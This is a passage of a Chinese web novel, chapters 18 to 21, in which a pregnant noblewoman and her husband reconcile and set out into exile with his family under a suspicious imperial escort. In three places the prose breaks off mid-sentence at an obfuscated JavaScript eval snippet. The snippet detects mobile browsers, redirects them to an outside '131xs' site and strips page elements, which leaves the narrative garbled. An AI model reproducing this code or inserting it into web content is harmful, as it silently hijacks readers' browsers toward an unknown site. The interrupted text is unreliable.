孩子们矮矮的,最高的甚至还不到她腰间,视线往上抬时恰都落在她腹上。 灼热的视线让宣槿妤脸上发烫,被这么多人看着肚子,宣槿妤怪不自在的,虽然他们都是小孩子。 许玉娘看出小儿媳的害羞,又看了一眼神色踌躇却眼巴巴地看着妻子的小儿子,拉过孙女的手,“再过几个月就知道了。” “来来来,都来祖母和曾祖母这里。”她打开了方才林清婉给她的油纸包,取出饴糖,一一分给孩子们。 孩子们都被饴糖吸引,目光移开,宣槿妤松了口气。 林清婉和苏二婶已经止住了话题,此时看到朝宣槿妤走来的苏琯璋,想了想,便走了两步,将女儿往苏琯璋怀里推。 “去吧!”她轻声道。 今日便要出发,他们夫妻在路上总不能一句话都不说,何况槿妤还需要有人照顾。 心里微涩,她想起了女儿哭着对自己说的那句话“娘,我好像还是喜欢他”。 苏琯璋稳稳地接住妻子。 宣槿妤落在熟悉温暖的怀抱,嗅到让她眷恋的初雪般的气息,没有推开他。 18. 第 18 章 亭中人太多了,苏琯璋小心地揽着宣槿妤走了出去,在离亭子和官兵们皆不远不近的距离停了下来。 亭子里没有人看他们。 不远处的官兵们在树后探头探脑,被苏琯璋扫了一眼,便转过头去,窃窃私语。“听说陛下至今还对小少夫人念念不忘。” “嘘,让人听见了不好,人小夫妻好着呢!” “如今盛京城中谁不知道这事?还怕谁听到?” “放心,还远着,他们听不到我们说话的。” “别管陛下怎么惦记,看小少夫人对小公子多情深意重。” “就是,别看她前头三年整日里闹和离,但果真到了患难时才见真情。看小少夫人,娇滴滴的一个大家小姐,居然放着好好的宫妃不做,宁愿跟着来流放。” “哎,小少夫人是真的舍不得小公子吧!” “可不是?尤其她肚子里还怀着孩子呢!居然选了流放,我老吴可真是佩服她。” …… 听多了“夫妻本是同林鸟,大难临头各自飞”的故事,乍然听得一对不离不弃的夫妻恩爱故事,而且这还是当朝贵人间的故事,百姓们皆兴致颇浓。 尤其当中还夹杂着当今皇帝情深不悔、默默守护着已为人妇的心上人的传言,更为故事添加了几分风流缱绻。 所以,这便是流言传得如此之快、如此之广的根本原因。 树荫下的私语声被压得极低,声音传不到这处来。 宣槿妤在苏琯璋怀中流连了一会儿,慢慢推开了他。 她还未来得及说话,苏琯璋已经开口,“槿妤,让我照顾你和孩子,可以吗?”他问得小心翼翼,即便宣槿妤不抬眼也能察觉到他的忐忑不安。 “你不是不要这个孩子吗?”宣槿妤反问,视线落在山下慢慢被晒干的泥土上,有一行人正踏着泥土、跨过乱石往这个方向走来。 他哪里是不要这个孩子。 苏琯璋呼吸一窒,“槿妤,我哪里舍得不要它。” 他俯身,慢慢将头轻轻地靠在宣槿妤肩上,双手揽着她的肩头,远远望去,像是一个拥抱的姿势。“槿妤,我后悔了。” 宣槿妤没有动,肩上的重量几近于无,她感受着男人拂过脖颈的温热呼吸,呼吸不自觉地加快。 “苏琯璋,这世上最无用的,便是后悔。”按捺着不自觉便被挑起的情绪,宣槿妤轻声道。 风声飒飒作响,他们身后的大树枝叶簌簌。 “槿妤,”苏琯璋声音里染上了两分痛苦,“对不起。” 对不起。 宣槿妤垂下眼睑。 这句话,她听了三年。 “苏琯璋,我累了。”她无力地笑,唇角扬起的弧度十分牵强。 “你总是对我道歉,显得我好似在无理取闹。”可是,她哪里是在无理取闹呢?她不过是,想让这个人喜欢自己多一点。 夫子说,女子的爱不要轻易给出。 但她嫁了人,守不住自己的心,不过是爱上她的夫君,她同样想要获得他的爱,有什么错呢? 那场吞噬了夫子的大火已经过去九年,但她好似总能看到烈烈燃烧的火焰,闻到桐油和熏人的烧焦气味。 午夜梦回,她常在他怀中惊醒,却又在他怀中安然地继续睡去。 苏琯璋握在她双肩的手慢慢落下,紧紧将宣槿妤抱在怀中, “槿妤,我从未觉得你在无理取闹。” “是么?”宣槿妤声音很轻很弱,像是要散在这风中,“可是你总是冷着一张脸,冷了我三年。” 眼中蓄起水雾,心里的委屈漫上喉间,堵得她鼻尖酸涩,“我说我放你自由,但你总要挽留。” 三年,不长不短的三年。而她被家人捧在掌心娇养了十六年,一朝出嫁,尝到了委屈的滋味,也尝够了情爱的苦楚。 她所有的挫败、所有的不甘心、所有的痛苦都来自这个人。 “苏琯璋,我之前在想,我宣槿妤欠了你什么呢?” 没有给苏琯璋开口的机会,宣槿妤自顾自地说着,她从未如此平和地将心里的话说出口。以前她哭,她闹,生怕心事一说出口,便在他们的感情里落入下风,步了夫子的后尘。 娘亲说,勇敢一点…… “后来我知道了,是我外祖父逼你娶的我。” “槿妤,不是这样……”的,苏琯璋有些急,想要解释,却被打断。 宣槿妤将头埋在他怀里,将眼中清泪皆抹到他胸前的衣裳,“是我亏欠了你,所以你和我总是无话可说。” “苏琯璋,我不甘心,我不想就这么认了。” 阳光透过缝隙落在二人身上,斑驳的光影在二人之间落下一道分隔线,好似他们从未跨过去的隔阂。 苏琯璋被她的泪灼烫了肌肤,一颗心仿佛置身于火山之中,“槿妤,你从没有亏欠过我。” 常年沉默寡言的人艰难地剖析着心事,“也没有人逼我娶你,我自愿的,很愿意。” “咔擦。” 不知是谁踩到了断枝,跌了一跤,“哎哟”一声,落于二人耳畔,十分清晰。 宣槿妤慢慢止了泪,抬起头,越过苏琯璋肩头看向山下。 方才山脚下的一行人已经走到了半途,再有片刻便能抵达这里。 他们没有多少说话的时间了。 “苏琯璋,若我不要你了,你……” 腰间的力度加大,箍得她紧紧的,她听到这男人颤抖的声音,“槿妤,别不要我。” “你打我、骂我都可以,只要别推开我。” 苏琯璋的声音十分低哑,说话像是艰难地从喉咙里挤出来似的,一字一字地,“让我留在你身边,照顾你和孩子好不好?” 风吹开了树叶间的缝隙,和煦的阳光洒在二人身上,在他们身后落下长长的阴影。两人的影子互相交缠着,显得亲密无间。 心里的阴霾被吹风散,宣槿妤回品着苏琯璋的话,热度从心里蔓延至脸上。 他说,让他留在她身边。 普普通通一句话,让她心里软成了一团。 她嫁的这个人,从不会说好话,活了二十二年,连他自己的母亲都嫌弃他话少。 但他偶尔冒出来的肺腑之言,却甜到了她心里。 分明是这样简单的一句话,却让她好不容易建筑起来的冰墙轰然倒塌。 她就是这么好哄。 不然也不会和这个寡言少语的清冷武夫过了三年,他一句简简单单普普通通的话,就能让她轻易地原谅他。 哎呀,她真的好没出息! 心事被触动,宣槿妤唇边不觉扬起笑,心里悸动不已,开口却是道:“我还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762895|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有原谅你。” 这便是答应了。 苏琯璋呼吸略微急促起来,抬头看她,视线和她平齐。 “我等你,只要让我在你身边,一辈子不原谅我也没关系。” 这男人居然还会说这么好听的话! 宣槿妤避开他的视线,咕哝道:“谁要和你一辈子。”话虽如此,但她心里却像是泡在蜜水里,咕嘟嘟地冒着泡,甜得她想钻进这个男人心里。 决裂且分别了半个月的夫妻俩静静相拥,咫尺天涯的两颗心在慢慢靠近。 照在身上的阳光在变热,吹过来的风却是凉的。 这样舒服的天气让宣槿妤不觉有些昏昏欲睡。 但眼睛要闭上时,她想起了一件事——一件促使她将和离书扔给这男人的很重要的事。 他心里藏了别人,却跟她说这种话! 宣槿妤顿时面色微变,瞌睡全无。 “臭男人,心里藏了人还对我说这种话。” 苏琯璋不明所以,妻子方才的态度分明已经软化,但情绪说变就变,这时候她已经不悦地推开了他。 “槿妤,我……” “璋小子,璋小子媳妇儿。” “璋小子,槿妤。” “小公子,小少夫人。” …… 是山下那群人到了。 解释的话被打断,苏琯璋无奈地站直了身子。 衣着不菲气度不凡的一群人很快转过弯,出现在二人面前。 “舅舅、舅母、表兄、常大人,李夫人……”苏琯璋和宣槿妤一一唤过去。 一行人各自见过礼,很快又朝亭子走去。 许玉娘、许萱娘、常湄言和孩子们早就站起来,快步迎了出来。 苏老夫人的娘家早已没落,四嫂嫂丁茜茜的哥哥滇西将军常年镇守边境,家人并不在盛京城。 现下来的,是苏国公夫人许玉娘、大嫂嫂许萱娘和三嫂嫂常湄言娘家的人。 过去半个月,苏家人还在牢中时,他们也到刑部去打点过,还去探望过几回。如今人要出发,便也带着收拾好的行李细软过来送行。 大大小小的马车将山下的路都堵住了。 …… 一行人话别便用了近两个时辰,中途还吃了几家各自带来的膳食甜点。十里亭里热闹得不行,时不时飘出笑声或哭声。 三十多名官兵默默地守在四周,并不来打扰。 直到未时过半,他们终于等不及,派人来催,“再不出发,夜里就赶不上最近的驿站了。” 十里亭里便是一静,女眷们皆抹起了泪。 此行一别,不知何日才能再相见。 浩浩荡荡的近百人走下了十里亭,下了山,转到官道上。 终于到了最后分别的时候。 “娘,爹爹,大哥哥,我们走了。”宣槿妤忍着泪,对爹娘兄长深深一拜。 林清婉“诶”了一声,泪如雨下。 千里送行终须一别,各自珍重。 各家人静静地站在官道上,要最后目送苏家人上路。 正要启程时,忽有迅疾的马蹄声传来。听动静,来的人还不少。 人群急忙避让开到两侧,纷纷转身去看。 “席统领。”苏声认出了领头的禁军统领袭放,这是个老熟人了。 19. 第 19 章 “吁~” 跑在前头的骏马在人群几步开外停了下来,袭放翻身下马,他身后的五十余名禁军也随即下马。 苏琯璋微微侧身,为身旁的宣槿妤挡住了飘过来的些许尘土。 “此行路途遥远,陛下担心诸位,特意遣了五十禁军护送你们到广虚府。”袭放说了来意。 除了袭放和禁军们,所有人面色都是一变, 苏家老的老、小的小,加起来一共才十六人,原先兵部派来名为押送实为护送的官兵就有三十五人,如今竟又要加五十名禁军? 袭放说的是“护送”,可孩子们听不懂,他们还听不懂吗?这才是真正的押送。 陛下担心? 皇帝他是担心苏家人逃了还是担心什么? 苏琯璋牵紧了宣槿妤的手。 想来新帝是知道自己写的圣旨有问题了,不敢再追加圣旨,担心天下人继续看笑话,便明着派人“护送”,以表示皇恩浩荡,好弥补他先前的疏漏么? 袭放只是来传话的,将话带到,便很快离开。 禁军带队的是一名千户,名为王虎;先前兵部带队的是一名副尉,名为陈阳。 二人当着众人的面进行交接。 “王千户,陛下怎的突然便改了原先的安排?”陈阳问,与王虎一同核对花名册,“我记得到了余安府,才会加派人手的。” “到了余安府,会有当地官兵加入押送……哦不,护送队列。”相貌憨厚的王虎点头确认。 他十分为难地说道:“原本的安排是这样的。但刑部梁尚书进宫一趟,陛下便改了主意,派了我们禁军过来。” 新帝摆明了就是不相信苏家人,这态度,想是对兵部尚书岳丰也起了芥蒂。可岳丰本是照章办事,他皇帝下错圣旨,牵连臣子又算什么? 陈阳便是兵部中人,闻言看着王虎的眼神都变了。 王虎苦笑,假作不察。 二人的谈话落入众人耳中,一时之间也都各有心思。 在场不是在朝为官者,便是官家家眷,谁还能不懂其中的机锋与深意? 许家、常家的女眷上前几步,与许玉娘、许萱娘和常湄言拥抱过后,悄悄又摘下身上值钱的手镯、佩玉等首饰,借着衣袖的掩映,递了过去。此前她们带来的银票已经全数给了,此为应不时之需。 一旁的林清婉心疼地握住宣槿妤未被苏琯璋牵住的另一只手,不过并未摘下首饰——次子宣文晟三日前已托入京的商队带信,他会在余安府和女儿等人会合。 她只是想到了,女儿这一路,怕是真的要徒步远行过去。一想到女儿将要受的苦,叫她心里如何好受?她做了半个月的心理预设,也还是免不了担忧与心疼。 “还有,”王虎表情越发为难,似乎有些难以启齿,“上边说,马上就要进行军演,这些马需要送回京中参演。” 他只字未提这句话是谁和他说的,但谁又是蠢货呢? 上边?上边还能有谁? 押送流放人员的差役自身都没有马,那于情于理,被流放的人如何还能心安理得地乘坐马车? 新帝打的一手好算盘。 宣兆忍不住笑了。 “王千户,我竟不知大盛竟穷困到如此地步,本已派了差事的马都要还回去。你说,军中竟是缺了这区区几十匹马吗?” 他还是当朝的户部尚书呢!谁敢在财政上糊弄他? 王虎认出了宣兆,窘迫地微微低下头,上头之人给他编造的借口便无法再说出口。 被拆穿了会更加难堪的! 一行人僵持片刻,还是王虎打破了安静。 “陈副尉,我带了几名驯马的好手,这些马便都交给他们带回京中罢!”他身上担的是皇命,心里再如何愧疚难堪也得执行,这事本就半点不由他。 至于户部尚书的诘问,他只当不知便好。何况,他方才的沉默便已经是回答了。 上位之人相争,他不想当那夹在当中的人,他只管办好这次差事便是。 陈阳看了看天色,再耽误下去今夜怕是要露宿荒野了。本来按原先的打算,苏家人乘坐马车他们骑马,夜里还能入宿最近的驿站。 但如今,马都被收回去了,马车怕也是不能再招人注意,这一行人得靠两条腿走路了。只是这行人老的老,小的小,还有个身怀六甲的娇夫人,得走到何时才能到广虚府? “王千户,”陈阳也犯难,索性直言,“按律,流放四千五百里,须得在三个月内抵达流放之地。这如今马被收回去,路途又多山地势难行,怕没个一年半载也到不了。” 陛下下旨将这无罪之人流放便已是让他们兵部为难,他们好不容易整理个章程出来。岳尚书派了他们护送,再以马车相送苏家人,既全了陛下判的流刑,又不至于让天下人诘难。 这样陛下那头和朝野上下两头都不得罪,而无罪受过的苏家人,也不至于遭大难受大罪。 可乍然又改成这样,不是逼着人去死么?谁家小儿、孕妇能遭得住这三个月行四千五百里路的罪? 陛下不加追圣旨将苏家人定罪,是全了他帝王的颜面。可他们兵部若真照章程行事,逼死了苏家人,还不是他们之过? 王虎长相是憨厚,但也不是那等没心机没眼色之人,自然看懂了陈阳的顾虑。闻言便道:“无妨,陛下有令,宣小少夫人有孕,本就不宜受颠簸。若需要,地势平坦之时再上马车便是。” 这是什么话? 有孕之人不能坐马车颠簸,便能走上个一年半载么?不会要让她在半路上生产吧?若生在荒野,周遭前不着村后不着店,连个稳婆大夫都找不到,不是在送人去死么? 这宣小少夫人当真是陛下的心上人么? 兵部其余官兵们大多看不懂方才上司陈阳与禁军千户王虎之间的交锋,但这话他们是听明白了。不禁齐齐侧目,看着禁军们的脸色都变了。 鄙夷、不屑,还有责怪。 一群大老爷们如此直白且毫不掩饰的目光直盯着后方的禁军们身上发毛,分明是大晴天,头上煦日还当空照着,怎的后背像是爬了阴风? “如此,”话都说到这样的地步,陈阳也只能答应,在花名册上签了名按了手印,“便劳烦王千户的人将这些马好生带回兵部。尚书大人那里,也劳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762896|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的人带个话。” 王虎也核对完毕,复核签了名、印了禁军签章,示意后方几人上前来。“你们便替陈副尉给岳尚书带个话罢!” 苏琯璋眉眼沉沉地看着这些人几句便定了他们的事,按下了心里的怒火。 纵然在死牢中他便知道了宣槿妤是要跟着徒步流放的,但上午听完圣旨,本以为还能钻圣旨未给他们定罪的漏洞,好让槿妤少受些苦。 不想新帝竟如此豁得出去,宁愿承受天下人非议和耻笑的目光也要膈应他们一把。 若是他索性疯个够,彻底不在乎帝王颜面,非要将苏家人定罪,再追一封圣旨下来…… 苏琯璋眉目如霜,身上气势如刀剑般锐利。 这样明显的变化,宣槿妤瞬间便察觉到了。 这种时候,他的心事便十分好猜,无非是在担心自己有了身孕行路艰难,便朝他一笑,“没事。”府医说了,她身子好着呢! 且有孕的妇人不正是要多走动么?有益于生产呢! 而且…… 她朝面色和缓许多的苏琯璋露出个不怀好意的笑来。 他心里藏人的事还没完呢!路上人多,她不好和他闹。但她有了身孕,路上要是折腾他,借口都不必找了,不是正好么? 前头交接已到了尾声。 “这六匹马便留下,以备不时之需。”王虎交代。 如此,队伍中便有四辆马车,不算拉车的也有六匹马。十匹马,足够了。 陈阳点了点头,没有多说什么。 很快,几名禁军脱离队伍,带着浩浩荡荡八十匹马,踏上了返程的路。 一群人面对扬起的大片尘土,纷纷避开。 等到官道上恢复平静,苏声才出声,“王千户,请问苏国公府如何了?禁军可撤退了?”他问得十分客气。 王虎摇了摇头,“国公府之事由袭大人亲自负责,在下并不知晓。不过我等离京前,国公府的禁军还未撤退。”没什么不能说的,他便如实说了。 苏声点了点头,道了声“多谢”。 “国公爷客气。” 新帝如此待苏家,连掩饰也不愿意做了,盛京城里想是要有大变了。 不过,都和他们苏家无关了。 苏声留意到王虎唤的那声“国公爷”,心里微松,并未再说什么,只和担心的许家舅舅点了点头,示意无事。 王虎还承认他是苏国公,意味着上头那位并不想再追回原先的圣旨,徒生事端和笑料。那便意味着,在明面上,他们苏家仍是安全的。 毕竟,他手上的圣旨只说嫡系阖家流放,既未定罪,也并未说要抄家夺爵。 想来,这当头,新帝只想让他下错圣旨之事尽早过去,不会再贸然对没了主子的国公府做些什么。 苏国公府被围了半个多月,府中奴仆皆不得出。等他们走了,即便宫中不将禁军召回,其余官员也要上奏撤人的。 既然苏家的爵位府邸还在,家中奴仆就有安身之地,多数都会安分地守着没有主子的大宅子,如此盛京城这处他们并没有后顾之忧。 不少人都想通了这点。 20. 第 20 章 太阳已经偏西,时辰着实不早了。 “我知道最近的小镇上有处客栈,若是走快些,还能赶上住宿。”王虎道。 陈阳瞥了他一眼,示意他看宣槿妤。 那位,腹中还有孩子呢!她能走得快? 让她坐上马车? 没看太阳晒了这般久,官道两旁的湿泥都还未干透,这一路碎石沙砾、泥团泥坑遍地,此种颠簸她能受得住? 那位小少夫人才坐稳了胎罢? 王虎对上苏琯璋冷冷的视线,再看苏家人,男女老少皆瞪着他;目光移开,好嘛,前来送行还未离开的几家人也都对他怒目而视。 他摸了摸鼻子。 陛下交给他的这桩差事果真难办。 “咳咳。” 好歹是同僚,未来一年半载要日日相对办差的,不好眼见着气氛僵在这里,陈阳开口解围,“我们慢行便是,我知道二里路外有个很大的废庙,能容下我们这些人。” 二里路,天黑前她倒也是能走得过去。 住废庙嘛,刑部死牢她都待过,也都被流放了,好似也没什么不能待的了。 宣槿妤朝苏琯璋点了头,再不济,便让这臭男人抱自己去。她决定了,就要折腾他,报复他。 这回是真的离别了,陈阳带着官兵在前开道,王虎带着禁军在后“护送”,苏家人正式踏上了流放之路。 林清婉、宣兆、宣文威及后来的许家、常家人,在官道上驻足了许久,足等到前方百余人的队伍消失在视线尽头,才长叹一声,登上在山脚等候许久的马车,赶在落日前回了城。 “也不知槿妤他们到了落脚的废庙没有。”晚膳时,林清婉用饭到一半,突然放下了碗筷。 “唉,今晨那么大的雨,我听说城外还是昨夜开始下的。路肯定不好走,槿妤还有身子。” 自打苏家出事,林清婉唉声叹气的次数也渐增,这半月怕都要超过去十年加起来总的次数了。 “莫担心,不会露宿荒野的。”宣兆安慰妻子。 这安慰还不如不安慰呢!瞧他说的是什么话? 林清婉瞪了他一眼。 宣文威忙给父亲找补,“娘,别担心。琯璋也在呢!槿妤走不动的时候,他可以背,还能抱着她走的。” “说得不错。”提起女婿,林清婉悬着的心放下了些许。 另一头,被林清婉担心着的宣槿妤,心情其实相当不错。 “我重不重?”宣槿妤问她身下的苏琯璋。 苏琯璋走得不急不缓,呼吸也未见急促,“不重。” 宣槿妤捏了捏他的耳朵,唇角飞扬。 正走着,后方传来“噗通”一声。 宣槿妤回头看时,正见最前边的马车“轱辘”一下,陷入泥坑里,溅起好大一滩泥水。 好在这辆马车里是空的,没人受伤。 只苦了走在马车两侧的禁军,身上沾满了泥点子。 “都留神脚下。”王虎喊了声。 他看了一眼被溅了一身泥水、正在苦笑的几名属下,“趁着还未干,先擦一擦,都到后头去,后面的人走上来。” 他往前头望了一眼,瞧着慢吞吞挪动的人影,不由叹息。 这可是桩苦差事。 不是累,而是这样慢悠悠宛若饭后消食的行走速度,实在让他心里憋屈得慌。 他这种习武之人,平日里走路都带风,如今不过压着步子走了才多久?他便开始不得劲儿了。想到往后一年半载的都要这样走路,他便想骂娘。 可想想这桩差事是陛下亲自指派的,他便默默地将心里的脏话抹去,权当什么也没发生过。 宣槿妤安心地窝在苏琯璋身上,将头埋在他肩上。 一行人里就她最轻松,有夫君背着。 连后边的孩子们都在走,小心地避过石块断枝,彤姐儿还差点摔了一跤,被许萱娘一把攥住后衣领拎了起来。 彤姐儿不觉后怕,还挺开心,对着宣槿妤的背影喊了一声,“小婶婶,我刚才飞起来了。” 原本苏国公府中除了爹娘、曾祖母、祖父祖母外她最喜欢的人便是小叔叔,但自那日亲眼目睹小叔叔将有孕的小婶婶惹哭之后,小婶婶便成了她最喜欢的人,小叔叔都要靠后了。 宣槿妤回过头,正见大嫂嫂许萱娘无奈地朝她一笑,指了指方才女儿险些掉下去的浅坑。 “彤姐儿,慢些走,留意脚下,莫摔了。”她又看向其他孩子,“你们也都是。地上都是砂石断枝,摔了可疼。” 孩子们应了,欢快地笑了起来。 再走过一段,出了京郊,便连条正经的官道都没有了。 宣槿妤双手揽紧苏琯璋的脖子,看着他深一脚浅一脚踩在淹没小腿的草丛里,再回头看看孩子们。他们都不笑了,只专注地走着路。 苏国公、苏二婶和三个嫂嫂慢慢地走着,目光时常停留在孩子们身上,见人要摔了便赶紧拎着后衣领或抄着胳肢窝抱起。 这时候才会传来孩子们“咯咯”的笑声。 宣槿妤心里慢慢有了实感,她竟真的随这男人流放了。 熟悉宽厚的背让她安心又眷恋,可又念及他心里藏了人的事,她便恨得牙根痒痒。 对于他心里有人这件事,她在意,真的非常在意! 她都这么勇敢地走向他了,他却…… 前方窸窸窣窣的动静一直未停,是兵部副尉陈阳在带着人开路,手中长剑时不时扫过面前的路,就怕突然爬过一条毒蛇。 “这路真是不好走。”苏老夫人被长媳许玉娘扶着,已经和幼孙苏琯璋并行。 脚下有异样的风声,苏琯璋低头看了一眼,一手扶着身后的宣槿妤,腾出一只手,眼疾手快地将祖母另一边身子扶住。 宣槿妤便见一只野兔撞在祖母腿上,被她弯腰一把抓住。 “行了,”苏老夫人直起身子,轻轻挣开苏琯璋的手,“我站得稳,你顾好槿妤。” 苏琯璋便将宣槿妤轻轻往上托了托,方才扶过祖母的手稳稳地搭在她的后腰上。 “祖母好厉害。”宣槿妤方才还没看清楚发生了什么,这会儿已经见苏老夫人单手揪着兔子的长长的双耳将其拎到半空,不由赞叹。 “我也要看,我也要看。”后边的孩子们听到兔子细细的尖叫声,抬头已经看到了身上雪白、仅双足沾了泥的兔子。 苏老夫人将兔子往后递,年纪最大的苏玉启接了过去。 孩子们兴奋地一个个抱过兔子,脚下却仍在不停地走动着,丝毫不耽误赶路。 “这条路竟如此荒凉。”苏老夫人感慨,“好歹以前也是官道,才多少年,都要成山林了。” 他们脚下的官道,本应高出路面两侧的路基已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762897|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被沙石填平,几乎已经分不清原本的样子。 而路上更是长出了长长的草茎,方才那兔子便是从草丛里跳出来,撞到苏老夫人腿上的。 “祖母,这条路竟是官道么?”宣槿妤惊讶,“我还以为是小道。” “是官路,不过都荒废许多年了。”苏老夫人感慨了句。 其余人都以为苏老夫人是在感慨路途难行,只有上了年纪的苏声、许玉娘和苏二婶知道,她是在感慨旁的事。 早二十多年前,这条官道还不是现下这副模样。 那时候,这条路又宽又平整,足以容纳两辆马车并肩行驶。如今,路都快要和旁边的树林融为一体了。 “是可惜了。”许玉娘附和道。 早年她也常走这条路的,尤其要给出征的夫君祈福的时候。 这条官道本是通往城外最大的一处寺庙的——便是他们今日的目的地,陈副尉口中说的可以容纳他们所有人留宿的废庙。 那寺庙,本叫做“皇觉寺”,是皇家寺庙,香火昌盛、香客游人往来不绝。 只当时废太子试图逼宫谋反,事败后在太子府自缢身亡。 而皇觉寺的和尚被指控窝藏兵器和罪犯,恰当时的皇帝失去了心爱的太子,心有迁怒,于是整个皇觉寺被连根拔起。皇觉寺便这么被废弃了。 先帝登基后,便下令在城西修建了新的皇觉寺,从此旧的皇觉寺便逐渐不为人所知。 失去香客的皇觉寺落败了,香客们都去了城西的新寺,后来这条官道便也极少有人踏足。 久而久之,这条官道便也废了。 “哎呀!” 彤姐儿正高高捧着兔子,给小叔叔背上的小婶婶看,却不想方才还蔫蔫的兔子奋力挣扎起来。 她担心伤到小婶婶,便只得松开了手,眼睁睁看着那兔子奔跳着落入草丛,很快消失在树林中。 宣槿妤摸了摸她的头,“彤姐儿是担心伤到我,对不对?” 彤姐儿点了点头,“小婶婶现在不比往日,可要小心着些。”她一本正经道。 小姑娘将将和苏琯璋大腿齐高,还是个矮墩墩的小团子,却装着一副大人样,说着让人心里熨帖的话,又是让人觉着好玩又是让人心暖。 宣槿妤对她笑得温柔。 “小婶婶笑起来真好看,该多笑笑的。”彤姐儿笑眯眯地说着。 宣槿妤一愣,苏琯璋脚步微顿。 “小叔叔不能再惹哭小婶婶了。”小姑娘教育起人来了。 苏琯璋苦笑,他也不能保证,他好像总在惹哭她。 “你小叔叔真讨厌对不对?”宣槿妤逗小孩,半真半假地说着。 彤姐儿先是用力点头,而后又犹豫了下,跟在苏琯璋身后走着,“小婶婶,小叔叔好像也没那么讨厌。” 好像也不用他回答了,苏琯璋搭在宣槿妤后腰的手微微收紧。 宣槿妤愣了愣,对天真的小侄女点了点头,然后看她在得了回应后,便欢欢喜喜地往后跑,跟哥哥和弟弟妹妹们一起慢慢走。 “若是你心里的人是我就好了。”宣槿妤心下叹息,这句话到了嘴边,最终没有说出口。 他是没那么讨厌,但他心里没她,就十分讨厌了。 宣槿妤低头,狠狠地在他肩上咬了一口,直到尝到血腥味,才在他肩侧蹭了蹭,将唇角的血丝蹭干。 21. 第 21 章 苏琯璋脚步都没变化一下,“咬耳朵,咬这里更痛。”他偏过头,压低了声音说道。 宣槿妤又咬了他一口,这回换了一侧肩膀,“想得美。” 人这么多,说句话都要斟酌一番,免得被人听了私话。 若真咬在他耳朵上,被这么多人看见,她成了什么人了?面皮子都不要了? 她连想报复这个男人,在心里计划的时候都在想些不引人注目的坏点子。她名声虽然不好听,但也不能再坏。 她可知道,走在他们身前身后的一群大老爷们,都是些粗俗武夫,最是不能体谅女儿家心思的了。她可不想被他们说她骄纵跋扈,不然同行这一路她都要不自在。 而且,千错万错都是这个男人的错。 叫他对她冷脸三年,叫他寡言木讷像个木头桩子,叫他心里藏了人…… 宣槿妤想着,气不过,又狠咬了一口。 苏琯璋笑着又将她往上托了托。 “娘说得不错,你就是个假人。”宣槿妤慢慢松开嘴,看着他肩上两个带血的牙印,小声嘟哝道。 都见血了,这男人眉头都没皱一下,都没有知觉的么? 可她知道他并不是没有知觉,而是比较能忍。毕竟,她过往在床笫之间咬他,他还会越发勇猛。 宣槿妤察觉到自己在想些什么,耳朵慢慢地红了。 怎么想到那头去了?她不自在地将发烫的脸埋在他背上,许久头都没抬一下。 他们已经走了约莫一炷香的时辰,几个孩子额上慢慢渗出了汗珠,不到三岁的苏玉慕走得越来越慢,最后揪着丁茜茜的衣摆,停下了步子。 “娘,我累了。”苏玉慕很是委屈地说道。 “孩子们都累了,歇一下罢!”苏琯璋闻言,快行几步,和开道的兵部副尉陈阳商议。 陈阳看了一眼站着不动、委屈巴巴满头大汗的小男孩儿,点了点头。 于是一行人停了下来,各自寻了突出的木墩子或断枝坐了下来。不讲究的,便直接在草丛里坐下,不一会儿,随手抓住一只在身旁窜过的雪白兔子。 “嘿,今晚有烤兔子吃。”那人道。 方才几个娃娃对着兔子一顿玩儿,最后还将它弄丢了,可将他遗憾了一回,简直暴殄天物。 “嘿,我也抓到一只。豁,可真肥啊!”不远处有人大笑。 “嚷嚷什么?我的兔子都被你吓跑了。” “嘘,这里兔子可多,咱们进了兔子窝了么?” …… 孩子们这会儿也不感觉到累了,一个个探着头伸长脖子去看人家抓兔子。 “母亲,您感觉如何?”许玉娘问苏老夫人,拧开水囊递给她。 苏老夫人接过,朝大儿媳笑笑,“没事,我身子还硬朗着。” 她是习武之人,到如今年过花甲,仍坚持每日打一套拳法,身子比许多年轻的闺阁小姐还要好。 这不,孩子们个个都满头汗,她身上却仍是干干爽爽的。 “现在都春末了,行路还好些,到了夏季……唉!”喝完水,她怜爱地握住宣槿妤的手,“孩子,你还怀着身子呢!可苦了你了。” 他们苏国公府再崇尚俭朴,也是传承数百年的世家,大盛建朝后更是一等一的勋贵之家。底蕴在这儿,府中日子再怎么朴素也差不到哪儿去。 年轻的几个孙媳妇儿,有孕的时候都有单独的小厨房,专为她们做些合用的汤羹饭食、佐以合口的糕点零嘴,其余衣、住行等方面也更是精细。 唯独到了这个小孙媳妇儿有孕的时候,又是随他们在刑部死牢那样的地方待了几日,又是随他们流放在外,吃尽了苦头。 宣槿妤摇摇头,“祖母,我们一家人都在一起,我不苦。” 